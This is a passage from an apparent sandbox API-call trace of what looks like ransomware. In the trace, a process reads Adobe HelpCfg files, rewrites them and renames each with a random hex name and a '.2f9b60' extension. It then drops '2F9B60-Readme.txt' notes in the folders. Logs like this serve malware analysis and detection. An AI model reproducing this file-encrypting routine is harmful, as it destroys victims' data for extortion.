lpNumberOfBytesWritten=0x3054f770*=0x118, lpOverlapped=0x0) returned 1 [0201.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0201.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddac40 [0201.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddac40) returned 1 [0201.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cddac40 [0201.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddac10 [0201.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddab50 [0201.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddab50) returned 1 [0201.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0201.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b859390 [0201.380] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="10") returned 2 [0201.381] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="88") returned 2 [0201.381] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="18") returned 2 [0201.381] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="5a") returned 2 [0201.381] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="dc") returned 2 [0201.381] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="f6") returned 2 [0201.381] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="8f") returned 2 [0201.381] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="6d") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="5e") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="49") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="0d") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="90") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="ac") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="3e") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="d2") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="61") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="ab") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="74") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="54") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="90") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="34") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="bf") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="bb") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="e0") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="bb") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="f5") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="e5") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="73") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="41") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="9a") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="99") returned 2 [0201.381] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="c4") returned 2 [0201.382] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="6b") returned 2 [0201.382] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="6f") returned 2 [0201.382] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="33") returned 2 [0201.382] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="a3") returned 2 [0201.382] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="8d") returned 2 [0201.382] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="ce") returned 2 [0201.382] RtlInitAnsiString (in: DestinationString=0x3054f7e8, SourceString="1088185adcf68f6d5e490d90ac3ed261ab74549034bfbbe0bbf5e573419a99c46b6f33a38dce" | out: DestinationString="1088185adcf68f6d5e490d90ac3ed261ab74549034bfbbe0bbf5e573419a99c46b6f33a38dce") [0201.382] RtlAnsiStringToUnicodeString (in: DestinationString=0x3054f7b8, SourceString="1088185adcf68f6d5e490d90ac3ed261ab74549034bfbbe0bbf5e573419a99c46b6f33a38dce", AllocateDestinationString=1 | out: DestinationString="1088185adcf68f6d5e490d90ac3ed261ab74549034bfbbe0bbf5e573419a99c46b6f33a38dce") returned 0x0 [0201.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431a6e00 [0201.382] wcscat (in: _Dest=0x431a6d50, _Source="1088185adcf68f6d5e4" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\1088185adcf68f6d5e4") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\1088185adcf68f6d5e4" [0201.382] wcscat (in: _Dest=0x431a6d50, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\1088185adcf68f6d5e4.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\1088185adcf68f6d5e4.2f9b60" [0201.382] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\1088185adcf68f6d5e4.2f9b60", NtPathName=0x3054f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\1088185adcf68f6d5e4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310ac00 [0205.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310ac00) returned 1 [0205.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43207c70) returned 1 [0205.786] NtQueryInformationFile (in: FileHandle=0x9ac, IoStatusBlock=0x3054f7f8, FileInformation=0x3054f808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3054f7f8, FileInformation=0x3054f808) returned 0x0 [0205.786] NtSetInformationFile (FileHandle=0x9ac, IoStatusBlock=0x3054f7f8, FileInformation=0x3054f808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0208.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a6d50) returned 1 [0208.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a6e00) returned 1 [0208.609] FlushFileBuffers (hFile=0x9ac) returned 1 [0208.611] CloseHandle (hObject=0x9ac) returned 1 [0209.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431c4f40 [0209.626] wcscpy (in: _Dest=0x431c4f40, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\" [0209.626] wcscat (in: _Dest=0x431c4f40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\2F9B60-Readme.txt" [0209.626] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_cn\\2f9b60-readme.txt")) returned 0xffffffff [0209.626] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_cn\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1068 [0216.752] WriteFile (in: hFile=0x1068, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3054f6b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3054f6b0*=0xba9, lpOverlapped=0x0) returned 1 [0222.428] CloseHandle (hObject=0x1068) returned 1 [0224.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c4f40) returned 1 [0224.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506270) returned 1 Thread: id = 2535 os_tid = 0x2008 [0155.223] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_tw\\reader_10.0.helpcfg")) returned 0x20 [0155.224] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0155.225] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_tw\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6ac [0155.226] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x307cfd00 | out: lpFileSize=0x307cfd00*=349) returned 1 [0155.226] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.226] ReadFile (in: hFile=0x6ac, lpBuffer=0x307cfc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x307cfcc8, lpOverlapped=0x0 | out: lpBuffer=0x307cfc80*, lpNumberOfBytesRead=0x307cfcc8*=0x4, lpOverlapped=0x0) returned 1 [0155.227] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddac70 [0155.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddad00 [0155.228] NtQuerySystemTime (in: CurrentTime=0x307cfbc0 | out: CurrentTime=0x307cfbc0*=132462177603598000) returned 0x0 [0155.228] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x36bbf652 [0155.228] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x3d2cab02 [0155.228] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x5ce2db63 [0155.228] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x5af1f012 [0155.228] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x49935789 [0155.228] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x14d73aea [0155.228] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x628b329b [0155.228] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x4ad4181e [0155.228] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x5be78c84 [0155.228] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x780c92c0 [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x52852c04 [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x11da527c [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x1a156fce [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x4fa2765c [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x104cbe51 [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x346e8ab1 [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x17c5b24e [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x52fe735 [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x38f03f72 [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x4f95dd9d [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x3d164d9d [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x7e5159b1 [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x7fcb902a [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x1f3d57e7 [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x787cec54 [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x54a65074 [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x7a424d18 [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x4f0e5483 [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x32184f6 [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x6600efb0 [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x71df0939 [0155.229] RtlRandomEx (in: Seed=0x307cfbb0 | out: Seed=0x307cfbb0) returned 0x3afdcbe [0155.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddad30 [0155.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23da0 [0155.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddad60 [0155.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23da0) returned 1 [0155.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddad00) returned 1 [0155.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18550 [0155.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23da0 [0155.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428ffa20 [0155.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42903630 [0155.245] ReadFile (in: hFile=0x6ac, lpBuffer=0x428ffa20, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x307cfbb0, lpOverlapped=0x0 | out: lpBuffer=0x428ffa20*, lpNumberOfBytesRead=0x307cfbb0*=0x15d, lpOverlapped=0x0) returned 1 [0155.245] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.245] WriteFile (hFile=0x6ac, lpBuffer=0x42903630, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x307cfbb4, lpOverlapped=0x0) [0186.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9080 [0186.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec90b0 [0186.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec90b0) returned 1 [0186.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42903630) returned 1 [0186.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428ffa20) returned 1 [0186.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23da0) returned 1 [0186.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18550) returned 1 [0186.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5ca30 [0186.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18550 [0186.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23da0 [0186.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec90b0 [0186.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec90b0) returned 1 [0186.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5ca70 [0186.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec90b0 [0186.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec90e0 [0186.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec90e0) returned 1 [0186.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23da0) returned 1 [0186.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18550) returned 1 [0186.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x423aa410 [0186.283] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.283] WriteFile (in: hFile=0x6ac, lpBuffer=0x423aa410*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x307cfcd0, lpOverlapped=0x0 | out: lpBuffer=0x423aa410*, lpNumberOfBytesWritten=0x307cfcd0*=0x118, lpOverlapped=0x0) returned 1 [0200.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1de0 [0200.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0200.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa10) returned 1 [0200.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202aaa10 [0200.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa620 [0200.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa560 [0200.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa560) returned 1 [0200.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1de0) returned 1 [0200.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b859390 [0200.616] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="44") returned 2 [0200.616] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="b8") returned 2 [0200.616] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="a7") returned 2 [0200.616] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="47") returned 2 [0200.617] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="85") returned 2 [0200.617] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="71") returned 2 [0200.617] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="cb") returned 2 [0200.617] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="59") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="92") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="79") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="92") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="61") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="be") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="bb") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="4f") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="a0") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="be") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="8c") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="cc") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="59") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="e0") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="ed") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="9b") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="6c") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="0b") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="b0") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="9c") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="1c") returned 2 [0200.617] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="a4") returned 2 [0200.618] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="76") returned 2 [0200.618] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="16") returned 2 [0200.618] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="89") returned 2 [0200.618] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="c6") returned 2 [0200.618] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="46") returned 2 [0200.618] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="0e") returned 2 [0200.618] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="4e") returned 2 [0200.618] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="3c") returned 2 [0200.618] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="df") returned 2 [0200.618] RtlInitAnsiString (in: DestinationString=0x307cfd48, SourceString="44b8a7478571cb5992799261bebb4fa0be8ccc59e0ed9b6c0bb09c1ca4761689c6460e4e3cdf" | out: DestinationString="44b8a7478571cb5992799261bebb4fa0be8ccc59e0ed9b6c0bb09c1ca4761689c6460e4e3cdf") [0200.618] RtlAnsiStringToUnicodeString (in: DestinationString=0x307cfd18, SourceString="44b8a7478571cb5992799261bebb4fa0be8ccc59e0ed9b6c0bb09c1ca4761689c6460e4e3cdf", AllocateDestinationString=1 | out: DestinationString="44b8a7478571cb5992799261bebb4fa0be8ccc59e0ed9b6c0bb09c1ca4761689c6460e4e3cdf") returned 0x0 [0200.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431eaf60 [0200.619] wcscat (in: _Dest=0x431eaeb0, _Source="44b8a7478571cb59927" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\44b8a7478571cb59927") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\44b8a7478571cb59927" [0200.619] wcscat (in: _Dest=0x431eaeb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\44b8a7478571cb59927.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\44b8a7478571cb59927.2f9b60" [0200.619] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\44b8a7478571cb59927.2f9b60", NtPathName=0x307cfcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\44b8a7478571cb59927.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x1198c0 [0203.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1198c0) returned 1 [0203.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431fe230) returned 1 [0203.940] NtQueryInformationFile (in: FileHandle=0x6ac, IoStatusBlock=0x307cfd58, FileInformation=0x307cfd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x307cfd58, FileInformation=0x307cfd68) returned 0x0 [0203.940] NtSetInformationFile (FileHandle=0x6ac, IoStatusBlock=0x307cfd58, FileInformation=0x307cfd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0207.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431eaeb0) returned 1 [0207.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431eaf60) returned 1 [0207.735] FlushFileBuffers (hFile=0x6ac) returned 1 [0207.739] CloseHandle (hObject=0x6ac) returned 1 [0209.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431c5080 [0209.443] wcscpy (in: _Dest=0x431c5080, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\" [0209.443] wcscat (in: _Dest=0x431c5080, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\2F9B60-Readme.txt" [0209.443] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\2F9B60-Readme.txt" (normalized: 